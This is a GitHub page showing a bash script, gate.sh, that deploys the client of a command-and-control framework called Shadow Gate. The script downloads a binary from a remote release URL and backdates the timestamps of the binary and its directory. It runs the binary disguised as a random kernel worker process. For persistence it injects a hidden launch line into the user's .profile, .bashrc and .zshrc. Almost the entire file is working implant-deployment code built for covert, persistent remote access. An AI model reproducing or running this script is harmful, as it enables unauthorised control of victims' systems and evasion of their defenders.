-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathgate.sh
More file actions
402 lines (338 loc) · 12.6 KB
/
gate.sh
File metadata and controls
402 lines (338 loc) · 12.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
#!/usr/bin/env bash
# ═══════════════════════════════════════════════════════════════════════════════
# Rust C2 Framework - Client Deployment System
# ═══════════════════════════════════════════════════════════════════════════════
#
# A sophisticated deployment framework for Rust C2 client with advanced
# stealth capabilities and persistence mechanisms.
#
# Usage Examples:
# $ bash deploy.sh
# $ SECRET="your_secret" bash deploy.sh
# $ SERVER_URL="http://your-server:8080" SECRET="your_secret" bash deploy.sh
# $ BINARY_URL="https://example.com/shadowgate-linux-x86_64" SECRET="your_secret" bash deploy.sh
# $ DEBUG=1 SECRET="your_secret" bash deploy.sh
#
# Environment Variables:
# SECRET - Required encryption secret for C2 communication
# SERVER_URL - C2 server URL (default: https://gate.haxor-world.org)
# BINARY_URL - Custom binary download URL
# DEBUG - Enable verbose debugging output
# NO_INSTALL - Skip persistence installation
# STEALTH_MODE - Enable stealth features (default: enabled)
#
# ═══════════════════════════════════════════════════════════════════════════════
[[ -z $ERR_LOG ]] && ERR_LOG="/dev/null"
RED="\033[31m"
GREEN="\033[32m" YELLOW="\033[33m" BLUE="\033[34m"
MAGENTA="\033[35m" CYAN="\033[36m" WHITE="\033[37m" BLACK="\033[30m"
GRAY="\033[90m" BRIGHT_RED="\033[91m" BRIGHT_GREEN="\033[92m" BRIGHT_YELLOW="\033[93m"
BRIGHT_BLUE="\033[94m" BRIGHT_MAGENTA="\033[95m" BRIGHT_CYAN="\033[96m" BRIGHT_WHITE="\033[97m"
BOLD="\033[1m" DIM="\033[2m" UNDERLINE="\033[4m" BLINK="\033[5m"
RESET="\033[0m"
print_status() {
echo -e "${BRIGHT_CYAN}${BOLD}[*]${RESET} ${BRIGHT_WHITE}${1}${RESET}"
}
print_progress() {
[[ -n "${DEBUG}" ]] && return
echo -ne "${BRIGHT_BLUE}${BOLD}[*]${RESET} ${BRIGHT_WHITE}"
echo -n "$1"
n=${#1}
echo -n " "
for ((i=0; i<60-n; i++))
do
echo -ne "${DIM}${GRAY}.${RESET}"
done
}
print_warning() {
echo -e "${BRIGHT_YELLOW}${BOLD}[!]${RESET} ${BRIGHT_YELLOW}${1}${RESET}"
}
print_error() {
echo -e "${BRIGHT_RED}${BOLD}[-]${RESET} ${BRIGHT_RED}${1}${RESET}"
}
print_fatal() {
echo -e "${BRIGHT_RED}${BOLD}[!] FATAL:${RESET} ${BRIGHT_RED}$1${RESET}\n"
exit 1
}
print_good() {
echo -e "${BRIGHT_GREEN}${BOLD}[+]${RESET} ${BRIGHT_GREEN}${1}${RESET}"
}
print_debug() {
if [[ -n "${DEBUG}" ]]; then
echo -e "${DIM}${GRAY}[DEBUG]${RESET} ${GRAY}${1}${RESET}"
fi
}
print_ok(){
[[ -z "${DEBUG}" ]] && echo -e " ${BRIGHT_GREEN}${BOLD}[OK]${RESET}"
}
print_fail(){
[[ -z "${DEBUG}" ]] && echo -e " ${BRIGHT_RED}${BOLD}[FAIL]${RESET}"
}
must_exist() {
for i in "$@"; do
command -v "$i" &>"$ERR_LOG" || print_fatal "$i not installed! Exiting..."
done
}
## Handle SIGINT
exit_on_signal_SIGINT () {
print_error "Script interrupted!"
clean_exit
}
exit_on_signal_SIGTERM () {
print_error "Script interrupted!"
clean_exit
}
trap exit_on_signal_SIGINT SIGINT
trap exit_on_signal_SIGTERM SIGTERM
# Remove all artifacts and exit
clean_exit() {
[[ -f "$CLIENT_PATH" ]] && rm -f "$CLIENT_PATH" &>/dev/null
exit 1
}
# Create a directory if it does not exist and fix timestamp
xmkdir() {
mkdir -p "$1" &>"$ERR_LOG" || return 1
touch -r "$2" "$1" || return 1
true
}
get_random_kernel_proc() {
proc_name_arr=(
"[migration/0]"
"[rcu_gp]"
"[rcu_par_gp]"
"[kthreadd]"
"[kworker/0:0H]"
"[mm_percpu_wq]"
"[ksoftirqd/0]"
"[migration/1]"
"[rcu_preempt]"
"[rcu_sched]"
"[watchdog/0]"
"[watchdog/1]"
"[kcompactd0]"
"[ksmd]"
"[khugepaged]"
"[kintegrityd]"
"[kblockd]"
"[tpm_dev_wq]"
"[ata_sff]"
"[md]"
"[edac-poller]"
"[devfreq_wq]"
"[kswapd0]"
"[kthrotld]"
"[irq/24-pciehp]"
"[acpi_thermal_pm]"
"[scsi_eh_0]"
"[scsi_tmf_0]"
"[scsi_eh_1]"
"[scsi_tmf_1]"
"[ipv6_addrconf]"
"[kstrp]"
)
local proc_name
proc_name=$(pgrep -alu root "kworker"|shuf -n 1|cut -d' ' -f2-)
[[ -z $proc_name ]] && proc_name="${proc_name_arr[$((RANDOM % ${#proc_name_arr[@]}))]}"
echo -n "$proc_name"
}
detect_arch() {
case $(uname -m) in
("x86_64")
echo -n "x86_64"
;;
*)
print_fatal "Unsupported OS architecture! Exiting..."
;;
esac
}
detect_os() {
case $(uname -s) in
("Linux")
echo -n "linux"
;;
*)
print_fatal "Unsupported OS! Exiting..."
;;
esac
}
# Test if directory can be used to store executable
check_exec_dir(){
[[ ! -d "$(dirname "$1")" ]] && print_debug "$1 is not a directory!" && return 1
[[ ! -w "$1" ]] && print_debug "$1 directory not writable!" && return 1;
[[ ! -x "$1" ]] && print_debug "$1 directory not executable!" && return 1;
return 0;
}
# inject a string into the 2nd line of a file and retain PERM/TIMESTAMP
inject_to_file()
{
local fname="$1"
local inject="$2"
head -n 1 "$fname" | grep -q "#!" && head -n 1 "$fname" > "${fname}_"
echo "$inject" >> "${fname}_"
cat "$fname" >> "${fname}_"
mv "${fname}_" "$fname" &>"$ERR_LOG" || return 1
touch -r "/etc/passwd" "$fname"
}
create_client_dir() {
local current_dir="$PWD"
if check_exec_dir "$current_dir"; then
echo -n "$current_dir"
return
fi
print_fatal "Current directory is not writable or executable! Exiting..."
}
# Download binary from URL
download_binary() {
local target_path="$1"
local download_url="$2"
# Set default download URL if not provided
download_url="https://github.com/Haxor-World/Shadow-Gate/releases/download/1.0.0/client-${OS_NAME}-${OS_ARCH}"
print_debug "Downloading binary from: $download_url"
print_debug "Target path: $target_path"
# Try curl first, then wget
if command -v curl &>/dev/null; then
curl -fsSL "$download_url" -o "$target_path" &>"$ERR_LOG" || return 1
elif command -v wget &>/dev/null; then
wget -q "$download_url" -O "$target_path" &>"$ERR_LOG" || return 1
else
print_fatal "Neither curl nor wget found! Cannot download binary."
fi
# Make executable and fix timestamps
chmod +x "$target_path" || return 1
touch -r "/etc/passwd" "$target_path" &>"$ERR_LOG"
touch -r "/etc" "$(dirname "$target_path")" &>"$ERR_LOG"
return 0
}
exec_hidden() {
# Validate required variables
if [[ -z "${SECRET}" ]]; then
print_error "Missing required SECRET environment variable"
return 1
fi
# Set environment variables for client
export SECRET="${SECRET}"
set +m; exec -a "${PROC_HIDDEN_NAME}" ${CLIENT_PATH} &
disown -a &> "$ERR_LOG"
}
install_init_scripts() {
inject_targets=(
"$HOME/.profile"
"$HOME/.bashrc"
"$HOME/.zshrc"
)
local success=""
# Validate required variables before injection
if [[ -z "${SECRET}" ]]; then
print_error "Missing required SECRET environment variable for injection"
return 1
fi
# Build environment variables string
local env_vars="SECRET='${SECRET}'"
env_vars="${env_vars}"
INJECT_LINE="
set +m; HOME=$HOME ${env_vars} $(command -v bash) -c \"exec -a ${PROC_HIDDEN_NAME} ${CLIENT_PATH}\" &>/dev/null &"
for target in "${inject_targets[@]}"; do
[[ ! -f "$target" ]] && continue
print_progress "Installing access via $(basename "$target")"
if inject_to_file "$target" "$INJECT_LINE"; then
print_ok
success=1
else
print_fail
fi
done
[[ -z $success ]] && return 1
return 0
}
install() {
if [[ -n $NO_INSTALL ]]; then
print_status "NO_INSTALL is set. Skipping installation." && return 0
fi
print_progress "Installing Rust C2 client permanently" && print_ok
local is_installed=false
install_init_scripts && is_installed=true
[[ "$is_installed" = true ]] && return 0
return 1
}
init_vars() {
# Verbose error logs
[[ -n "$DEBUG" ]] && ERR_LOG="$(tty)"
# Docker does not set USER
[[ -z "$USER" ]] && USER=$(id -un)
[[ -z "$UID" ]] && UID=$(id -u)
# Set HOME if undefined
[[ -z "$HOME" ]] && HOME="$(grep ^"$(whoami)" /etc/passwd | cut -d: -f6)"
[[ ! -d "$HOME" ]] && print_fatal "\$HOME not set. Try 'export HOME=<users home directory>'"
# Set SHELL undefined
[[ -z "$SHELL" ]] && SHELL="$(grep ^"$(whoami)" /etc/passwd | cut -d: -f7)"
[[ ! -f "$SHELL" ]] && SHELL="/bin/bash" # Default to bash
[[ -z "$STEALTH_MODE" ]] && STEALTH_MODE="1"
# Validate required SECRET
if [[ -z "$SECRET" ]]; then
print_fatal "SECRET environment variable is required! Example: SECRET='your_secret' bash deploy.sh"
fi
}
print_usage() {
echo -e "\n${BRIGHT_GREEN}${BOLD}╔═══════════════════════════════════════════════════════════════╗${RESET}"
echo -e "${BRIGHT_GREEN}${BOLD}║ DEPLOYMENT SUCCESSFUL ║${RESET}"
echo -e "${BRIGHT_GREEN}${BOLD}╚═══════════════════════════════════════════════════════════════╝${RESET}\n"
echo -e "${BRIGHT_WHITE}${BOLD}Stealth Configuration:${RESET}"
echo -e "${BRIGHT_WHITE} Process Name: ${BRIGHT_CYAN}$PROC_HIDDEN_NAME${RESET}"
echo -e "${BRIGHT_WHITE} Binary Location: ${BRIGHT_CYAN}$CLIENT_PATH${RESET}"
echo
}
SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" &> /dev/null && pwd )"
must_exist "head" "uname" "grep" "cut" "tr" "touch" "tail" "ps"
if ! command -v curl &>/dev/null && ! command -v wget &>/dev/null; then
print_fatal "Neither curl nor wget found! Please install one of them to download binaries."
fi
# Display the Shadow Gate banner
print_banner() {
echo -e "${BRIGHT_CYAN}${BOLD}"
echo ""
echo -e " ${BRIGHT_WHITE}███████╗██╗ ██╗ █████╗ ██████╗ ██████╗ ██╗ ██╗${RESET}"
echo -e " ${BRIGHT_WHITE}██╔════╝██║ ██║██╔══██╗██╔══██╗██╔═══██╗██║ ██║${RESET}"
echo -e " ${BRIGHT_WHITE}███████╗███████║███████║██║ ██║██║ ██║██║ █╗ ██║${RESET}"
echo -e " ${BRIGHT_WHITE}╚════██║██╔══██║██╔══██║██║ ██║██║ ██║██║███╗██║${RESET}"
echo -e " ${BRIGHT_WHITE}███████║██║ ██║██║ ██║██████╔╝╚██████╔╝╚███╔███╔╝${RESET}"
echo -e " ${BRIGHT_WHITE}╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚══╝╚══╝ ${RESET}"
echo ""
echo -e " ${BRIGHT_YELLOW} ██████╗ █████╗ ████████╗███████╗${RESET}"
echo -e " ${BRIGHT_YELLOW}██╔════╝ ██╔══██╗╚══██╔══╝██╔════╝${RESET}"
echo -e " ${BRIGHT_YELLOW}██║ ███╗███████║ ██║ █████╗ ${RESET}"
echo -e " ${BRIGHT_YELLOW}██║ ██║██╔══██║ ██║ ██╔══╝ ${RESET}"
echo -e " ${BRIGHT_YELLOW}╚██████╔╝██║ ██║ ██║ ███████╗${RESET}"
echo -e " ${BRIGHT_YELLOW} ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝${RESET}"
echo ""
echo -e "${BRIGHT_WHITE}${BOLD} ◆ Advanced Gate Monitoring v1.0 ◆${RESET}"
}
print_banner
# Init global vars
init_vars
OS_ARCH=$(detect_arch)
OS_NAME=$(detect_os)
CLIENT_DIR_NAME=$(create_client_dir)
RAND_NAME="$(LC_ALL=C tr -dc A-Za-z0-9 </dev/urandom | head -c 8)"
PROC_HIDDEN_NAME="$(get_random_kernel_proc "$OS_NAME")"
CLIENT_PATH="${CLIENT_DIR_NAME}/${RAND_NAME}"
if [[ "$CLIENT_DIR_NAME" =~ ^.*/(tmp|shm).* ]]; then
print_warning "Created a temp client directory!"
print_warning "Access will be lost after a reboot..."
fi
print_progress "Downloading Shadow Gate client binary"
if download_binary "$CLIENT_PATH" "$BINARY_URL"; then
print_ok
else
print_fail
print_fatal "Binary download failed! Exiting..."
fi
install || print_error "Permanent install methods failed! Access will be lost after reboot."
print_progress "Triggering initial execution"
if exec_hidden; then
print_ok
else
print_fail
print_error "Initial execution failed! Try starting client manually."
fi
print_usage
clean_exit